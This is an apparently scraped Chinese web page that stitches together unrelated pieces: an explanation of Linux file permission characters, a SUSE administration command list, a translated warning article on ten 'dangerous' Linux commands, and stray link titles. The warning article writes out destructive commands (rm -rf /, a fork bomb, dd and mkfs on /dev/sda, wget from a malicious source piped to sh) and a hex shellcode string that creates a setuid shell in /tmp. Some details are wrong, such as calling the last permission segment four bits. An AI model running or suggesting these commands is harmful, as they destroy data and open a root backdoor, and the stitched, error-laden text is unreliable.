linux-10

问题描述:Linux文件属性的10个字符各代表什么意思? 这篇文章主要介绍了Linux10进制转16进制命令,具有一定借鉴价值,需要的朋友可以参考下。希望大家阅读完这篇文章后大有收获,下面让小编带着大家一起了解一下。

Suse的操作系统基本命令谁能给我点资料。

linux-10的相关图片

10个字符表示文件类别和权限,具体如下:

第一个字符表示文件类别,代表的含义如下:

-:普通文件

d:目录文件

b:块设备文件。

c:字符设备文件。

l:符号链接文件。

后面9个字符代表3组访问权限:

第1组的3个字符是授权文件所有者的权限;

第2组的3个字符是授权同组用户的权限;

第3组的3个字符是授权其他用户的权限。

每一组的3个字符一次表示读、写、执行权限,其中:

r:表示有读权限。

w:表示有写权限。

x:表示有执行权限。

-:表示没有相应的权限。

Linux中最危险的10个命令的相关图片

Linux中最危险的10个命令

suse linux 命令

1.修改vftpd配置文件

vi /etc/vsftpd .conf #listen=YES。

vi /etc/xinetd.d/vsftpd 将“disable=yes” 改为 “disable=no”使xinetd服。

务启动后接收到ftp连接请求时,能够自动启动vsftpd服务进程。

2. mkdir -p /srv/ftp/linux-10 创建文件夹 -p 如果文件夹不存在自动创。

3. chown -R ftp:ftp /srv/ftp/linux-10 指定linux-10目录及其子目录的拥有者为ftp用户和ftp。

4. chmod -R 755 /srv/ftp/linux-10 指定linux-10目录及其子目录的访问权限。

5. mount /dev/hdc /srv/ftp/linux-10/disk1 将设备中的内容挂载到disk1中。

umount /srv/ftp/linux-10/disk1 卸载掉disk1中挂载的文件。

6. /etc/init.d/xinetd start 启动FTP服务。

7. df命令

功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩。

下多少空间等信息。

语法:df [选项]

说明:df命令可显示所有文件系统对i节点和磁盘块的使用情况。

该命令各个选项的含义如下:

-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。

-k 以k字节为单位显示。

-i 显示i节点信息,而不是磁盘块。

-t 显示各指定类型的文件系统的磁盘空间使用情况。

-x 列出不是某一指定类型文件系统的磁盘空间使用情况(与t选项相反)。

-T 显示文件系统类型。

8. free命令

free命令的功能是查看当前系统内存的使用情况,它显示系统中剩余及已用的物理内存和交换内存,

以及共享内存和被核心使用的缓冲区。

该命令的一般格式为: free [-b | -k | -m] 命令中各选项的含义如下:

-b 以字节为单位显示。

-k 以K字节为单位显示。

-m 以兆字节为单位显示。

9. sync命令

sync命令是强制把内存中的数据写回硬盘,以免数据的丢失。

10. shutdown命令

shutdown 命令可以安全地关闭或重启Linux系统,它在系统关闭之前给系统上的所有登录用户提示一。

条警告信息。该命令还允许用户指定一个时间参数,可以是一个精确的时间,也可以是从现在开始的一个。

时间段。精确时间的格式是hh:mm,表示小时和分钟;时间段由“+”和分钟数表示。系统执行该命令后,

会自动进行数据同步的工作。

该命令的一般格式为: shutdown [选项] [时间] [警告信息] 命令中各选项的含义为:

- k 并不真正关机,而只是发出警告信息给所有用户。

- r 关机后立即重新启动。

- h 关机后不重新启动。

- f 快速关机,重启动时跳过fsck。

- n 快速关机,不经过init程序。

- c 取消一个已经运行的shutdown。

需要特别说明的是,该命令只能由超级用户使用。

11. date命令

date命令的功能是显示和设置系统日期和时间。

12. cal命令

cal命令的功能是显示某年某月的日历。

该命令的一般格式为: cal [选项] [月 [年]] 命令中各选项的含义为:

- j 显示出给定月中的每一天是一年中的第几天(从1月1日算起)。

- y 显示出整年的日历。

13. echo命令

echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。

该命令的一般格式为: echo [ -n ] 字符串。

其中选项n表示输出文字后不换行;字符串可以加引号,也可以不加引号。用echo命令输出加引号的字。

符串时,将字符串原样输出;用echo命令输出不加引号的字符串时,将字符串中的各个单词作为字符串输。

出,各字符串之间用一个空格分割。

14. 从ftp安装linux系统。

install=ftp://ip(服务器ip地址)/linux-10/disk1 hostip=ip(新系统ip)/24 gateway=192.168.0.1(。

网关)

15. chkconfig --level 235 ntp on 使用系统启动时,自动启动NTP服务。

16. /etc/init.d/ntp restart 启动NTP服务。

17. route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 配置Linux多播路由 添加。

该路由项

18. netstat -nr 查看路由表。

19. netstat -an|less 查看服务端口的状态。

20. /etc/init.d/novell-tomcat4 restart 重启Tomcat(在iManage中安装插件后)。

21. chmod 777 文件名 修改文件权限。

22. ndsconfig rm 删除ED实例。

23. 精确同步时间

先将ntp服务停掉 rcxntpd stop 然后执行 ntpdate 命令 (多次执行缩短时间差) 最后启动 。

rcxntpd start

24. Linux 更改MAC地址:。

1.> 临时更改:

# ifdown eth0。

# ifconfig eth0 hw ether 0029340830249(MAC地址)。

# ifup eth0。

2.> 永久生效:(对于suse不起作用)。

# vi /etc/rc.d/rc.local。

ifdown eth0。

ifconfig eth0 hw ether 002934083024(MAC地址)。

ifup eth0。

# service network restart(suse 9:rcnetwork restart)。

3.> 添加新网卡:

a. VM --> 添加网卡。

b. 启动时按 '<-' , 确定相关默认配置。

c. 在/etc/sysconfig/network-s/创建新网卡文件。

d. 配置新网卡文件 。

25. Linux 更改MAC地址:。

1.1 redhat:

a. $ cd /etc/sysconfig/network-s。

b. Edit file "ifcfg-eth0", change to your real MAC address。

(Use "ifconfig -a" to display real MAC address.)。

c. $ /etc/init.d/network start (to restart network.)。

1.2 SuSE:

a. $ cd /etc/sysconfig/network。

b. $ mv ifcfg-eth-id-00:0c:29:ba:b2:ad ifcfg-eth0。

c. $ vi /ifcfg-eth0。

d. $ 添加 LLADDR='real MAC address'。

e. $ 到YAST里面配置静态IP。

(Use "ifconfig -a" to display real MAC address.)。

f. $ reboot(重启系统)。

2.修改redhat locale:

cd /etc/sysconfig/。

编辑i18n文件,指定自己所需的locale。

3.修改SuSE hostname:编辑/etc/HOSTNAME。

26. 增加反向代理名称 192.168.10.in-addr-arpa。

27. suse 配置ftp服务。

a. vi /etc/vsftpd.conf。

b. 将listen=yes 注释掉。

c. vi /etc/xinetd.d/vsftpd。

d. 将 disable=yes 改为 disable=no。

e. /etc/init.d/xinetd start 启动FTP服务。

(suse9只需执行c,d,e suse10都需要执行)

28. 查找文件 find 路径 -name(-size,-type) file。

29. 查找字符 grep 参数(-l 显示匹配行号,-I 忽略大小写,-r 递归查找) 'str' fielist。

30. 比较文件 diff 参数(-w忽略空格 ,-I忽略大小写 ) file file 。

31.kill

1.作用

kill命令用来中止一个进程。

2.格式

kill [ -s signal | -p ] [ -a ] pid ...。

kill -l [ signal ]。

3.参数

-s:指定发送的信号。

-p:模拟发送信号。

-l:指定信号的名称列表。

pid:要中止进程的ID号。

Signal:表示信号。

4.说明

进程是Linux系统中一个非常重要的概念。Linux是一个多任务的操作系统,系统上经常同时运行着多个进。

程。我们不关心这些进程究竟是如何分配的,或者是内核如何管理分配时间片的,所关心的是如何去控制。

这些进程,让它们能够很好地为用户服务。

Linux 操作系统包括三种不同类型的进程,每种进程都有自己的特点和属性。交互进程是由一个Shell启。

动的进程。交互进程既可以在前台运行,也可以在后台运行。批处理进程和终端没有联系,是一个进程序。

列。监控进程(也称系统守护进程)时Linux系统启动时启动的进程,并在后台运行。例如,httpd是著名。

的 Apache服务器的监控进程。

kill命令的工作原理是,向Linux系统的内核发送一个系统操作信号和某个程序的进程标识号,然后系统。

内核就可以对进程标识号指定的进程进行操作。比如在top命令中,我们看到系统运行许多进程,有时就。

需要使用kill中止某些进程来提高系统资源。在讲解安装和登陆命令时,曾提到系统多个虚拟控制台的作。

用是当一个程序出错造成系统死锁时,可以切换到其它虚拟控制台工作关闭这个程序。此时使用的命令就。

是kill,因为kill是大多数Shell内部命令可以直接调用的。

5.应用实例

(1)强行中止(经常使用杀掉)一个进程标识号为324的进程:

#kill -9 324

(2)解除Linux系统的死锁。

在Linux 中有时会发生这样一种情况:一个程序崩溃,并且处于死锁的状态。此时一般不用重新启动计算。

机,只需要中止(或者说是关闭)这个有问题的程序即可。当 kill处于X-Window界面时,主要的程序(除了。

崩溃的程序之外)一般都已经正常启动了。此时打开一个终端,在那里中止有问题的程序。比如,如果 。

Mozilla浏览器程序出现了锁死的情况,可以使用kill命令来中止所有包含有Mozolla浏览器的程序。首先。

用top命令查处该程序的PID,然后使用kill命令停止这个程序:

#kill -SIGKILL XXX。

其中,XXX是包含有Mozolla浏览器的程序的进程标识号。

(3)使用命令回收内存

我们知道内存对于系统是非常重要的,回收内存可以提高系统资源。kill命令可以及时地中止一些“越轨。

”的程序或很长时间没有相应的程序。例如,使用top命令发现一个无用 (Zombie) 的进程,此时可以使。

用下面命令:

#kill -9 XXX

其中,XXX是无用的进程标识号。

然后使用下面命令:

#free

此时会发现可用内存容量增加了。

(4)killall命令

Linux下还提供了一个killall命令,可以直接使用进程的名字而不是进程标识号,例如:

# killall -HUP inetd 。

32.rm 删除命令

rm -r 删除目录,不管目录中有没有文件。

rm -rf 强制删除,没有提示。

33.ln命令

ln -s 源文件(绝对路径) 目标文件 (软连接)

34.查看本机开放的端口

1、netstat 查看端口和连接。

netstat 列出目前已经连接的服务名。

netstat -a 列出目前已经连接的和正在监听的服务名。

netstat -an 列出目前已经连接的和正在监听的端口号(与上面的命令功能一样,只是不解释端口。

号对应的服务名)

netstat -ap 在上面命令的基础上列出连接的PID(进程号),用这个PID,可以使用KILL 来杀死连接。

例如:某个连接的PID=111,想踢出去就使用 KILL -9 111。ok!

netstat -rn 输出路由表。

2、nmap

nmap 127.0.0.1 查看本机开放的端口,会扫描所有端口。

nmap -p 1024 65535 127.0.0.1 扫描指定端口范围。

nmap -PT 192.168.1.1-111 扫描一组范围的电脑 。

35. 交互方式管理identity manager 对象。

dxcmd -host 192.168.37.133 -port 524。

36. ps -A 产看进程。

37. ssh -X (ip address) 远程连接另一系统 。

38. pkill firefox-bin(进程名) 以进程名杀进程。

39. . /opt/novell/eDirectory/bin/ndspath 设置ed的环境变量。

Linux文件权限一共10位长度,分为四段,第三段表示的内容是的相关图片

Linux文件权限一共10位长度,分为四段,第三段表示的内容是

Linux中最危险的10个命令。

对于编程人员或或者Linux系统管理员来说,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!。

当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。

1. rm -rf 命令 。

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)。

rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)。

rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)。

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)。

2. :(){:|:&};: 命令 。

这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:&};:。

哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~。

3. 命令 > /dev/sda 。

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv 文件夹 /dev/null 。

这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)。

# mv /home/user/* /dev/null。

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh 。

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)。

6. mkfs.ext3 /dev/sda 。

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)。

7. > file 。

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar 。

这个命令在“鲜为人知而又实用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)。

9. dd if=/dev/random of=/dev/sda 。

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)。

10. 隐藏命令 。

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;。

注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。

;

linux中如何查看一页内容的最后十行的相关图片

linux中如何查看一页内容的最后十行

第一段 1位 表示文件类型

第二段 3位 表示所有者权限(xxx)分别表示 读(4) 写(2) 执行(1)

第三段 3位 表示所在组权限 (xxx)分别表示 读(4) 写(2) 执行(1)

第四段 4位 表示其他用户权限 (xxx)分别表示 读(4) 写(2) 执行(1)

Linux系统中,预设的情况下,系统中所有的帐号与一般身份使用者,以及root的相关信息, 都是记录在/etc/passwd文件中。每个人的密码则是记录在/etc/shadow文件下。 此外,所有的组群名称记录在/etc/group内。

扩展资料:

在Linux文件系统中,作为一种特殊类型/proc文件系统只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。/proc文件系统是一个伪文件系统,用户和应用程序可以通过/proc得到系统的信息,并可以改变内核的某些参数。

参考资料来源:百度百科-Linux文件系统。

tail -10 文件名

原文地址:http://www.qianchusai.com/linux-10.html

icons-10

icons-10

icons8,icons8网站

icons8,icons8网站

icons-0

icons-0

以难忘的中秋节写一篇作文,用难忘的中秋节节为题目的作文

以难忘的中秋节写一篇作文,用难忘的中秋节节为题目的作文

合味道方便面能不能放微波炉,合味道方便面能不能放微波炉加热吃

合味道方便面能不能放微波炉,合味道方便面能不能放微波炉加热吃

2497,249750是什么意思

2497,249750是什么意思

neutralise,Neutralisers

neutralise,Neutralisers

yeh,野火烧不尽春风吹又生

yeh,野火烧不尽春风吹又生

4413,441301是哪里的身份证号码

4413,441301是哪里的身份证号码

4415,441522开头的身份证是哪里的

4415,441522开头的身份证是哪里的